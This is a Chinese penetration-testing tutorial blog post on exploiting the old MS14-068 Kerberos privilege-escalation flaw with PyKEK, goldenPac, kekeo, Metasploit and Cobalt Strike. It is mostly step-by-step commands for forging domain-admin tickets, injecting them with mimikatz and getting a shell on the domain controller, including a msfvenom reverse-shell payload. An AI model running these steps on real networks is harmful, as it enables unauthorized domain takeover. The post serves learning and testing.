内网学习笔记 | 27、Kerberos 域用户提权漏洞

admin 2023年1月9日12:33:59安全文章评论1 views2663字阅读8分52秒阅读模式

0、前言

在 2014 年微软修复了 Kerberos 域用户提权漏洞,即 MS14-068,CVE 编号为 CVE-2014-6324,该漏洞影响了 Windows Server 2012 R2 以下的服务器,该漏洞允许 RT 将任意用户权限提升至域管级别。


不过从漏洞年代就知道这已经是个远古时代的漏洞,现实中已经很少会碰到了,这里就简单记录下,顺便熟悉熟悉工具的用法。

14-068 产生的原因主要在于用户可以利用伪造的票据向认证服务器发起请求,如果用户伪造域管的票据,服务端就会把拥有域管权限的服务票据返回回来。

1、PyKEK

PyKEK 是一个利用 Kerberos 协议进行渗透的工具包,下载地址:https://github.com/mubix/pykek


使用 PyKEK 可以生成一个高权限的服务票据,之后通过 mimikatz 将服务票据导入到内存中。

MS 14-068 的补丁为:KB3011780,通过 wmic 查看补丁情况

wmic qfe get hotfixid | findstr KB3011780

查看当前用户 SID

whoami /user

或者使用 wmic

wmic useraccount get name,sid

生成高权限票据,-d 指定域控地址

python2 ms14-068.py -u jack@0day.org -s S-1-5-21-1812960810-2335050734-3517558805-1133 -d 192.168.3.142 -p Aa123456

打开 mimikatz 清除当前内存中的票据信息

kerberos::purge

将高权限票据注入内存

kerberos::ptc "TGT_jack@0day.org.ccache"

使用 net use 连接域控后,使用 psexec 获取 Shell

这里 net ues 使用 IP 可能会失败,因此在此使用机器名进行连接


2、GoldenPac

goldenPac.py 是一个用于对 Kerberos 协议进行测试的工具,它集成在 impacket 工具包里。

Kali 在使用之前需要先安装 Kerberos 客户端

apt-get install krb5-user -y

利用 goldenPac.py 获取 Shell

python3 goldenPac.py 0day.org/jack:Aa123456@OWA2010SP3.0day.org

这里使用 IP 进行连接会连接不成功,只能使用主机名,因此可以在 hosts 文件中添加主机名对应的 IP


goldenPac.py 是通过 PsExec 获得 Shell 的,因此会产生大量的日志,而且现在这种连接方式也已经被各大杀软所拦截。

3、kekeo

kekeo 也是一个工具集,其中包含了 ms14-068 的利用模块,kekeo 下载地址:https://github.com/gentilkiwi/kekeo


使用之前需要先清除票据

klist purge

然后直接使用 kekeo 生成高权限票据

kekeo.exe "exploit::ms14068 /domain:0day.org /user:jack /password:Aa123456 /ptt" "exit"

之后就可以直接 dir 域控或者 PsExec 连接到域控了

4、MSF

MSF 中也有 MS 14-086 的提权 EXP,不过需要结合 mimikatz 进行利用

use auxiliary/admin/kerberos/ms14_068_kerberos_checksumset domain 0day.orgset password Aa123456set user jackset user_sid  S-1-5-21-1812960810-2335050734-3517558805-1133set rhosts OWA2010SP3.0day.orgrun

设置好域名、域控 IP、密码、用户、SID 后运行,将会获取一个 bin 文件

由于 MSF 里不支持 bin 文件的导入,因此需要 mimikatz 对其进行格式转换

kerberos::clist "20210923061821_default_192.168.3.142_windows.kerberos_484249.bin" /export

之后,生成一个木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.214.74 lport=4444 -f exe > shell.exe

将木马复制到目标主机上,并使其上线到 MSF

获得会话后,将刚才 mimikatz 转换后的 kirbi 文件导入到会话中

load kiwikerberos_ticket_use /tmp/0-00000000-jack@krbtgt-0DAY.ORG.kirbibackground
之后使用 current_user_psexec 模块
use exploit/windows/local/current_user_psexecset session 2set rhosts OWA2010SP3.0day.orgset payload windows/meterpreter/reverse_tcpset lhost 172.16.214.74run
然后就会返回高权限的会话

不过 MSF 在使用过程中报错了,网上一查发现别人也有这个错误,暂时还不清楚解决的方法

5、CS

先利用前面的 ms14-068.py 生成一个 ccache 文件,之后使用 KrbCredExport 将 ccache 文件转为 kirbi 格式


KrbCredExport 下载地址:https://github.com/rvazarkar/KrbCredExport

python2 KrbCredExport.py TGT_jack@0day.org.ccache user.ticket

接着使用 CS 的 kerberos_ticket_use 加载 ticket,之后就能访问到域控了


此时想让域控上线自然也是没问题的了,可以先添加一个域控地址的 target,然后选择 PsExec ,勾选上 use session’s current access token 通过 jack 的会话上线即可。


参考文章:

https://www.jianshu.com/p/27730ab4a6db

https://www.cnblogs.com/websecyw/p/11835830.html

原文链接:

https://teamssix.com/210924-100520.html


往期推荐

内网学习笔记 | 密码抓取

内网学习笔记 | 26、ntds.dit 的提取与散列值导出

内网学习笔记 | 25、Exchange 邮件服务器

内网学习笔记 | 27、Kerberos 域用户提权漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月9日12:33:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  内网学习笔记 | 27、Kerberos 域用户提权漏洞 http://cn-sec.com/archives/549603.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: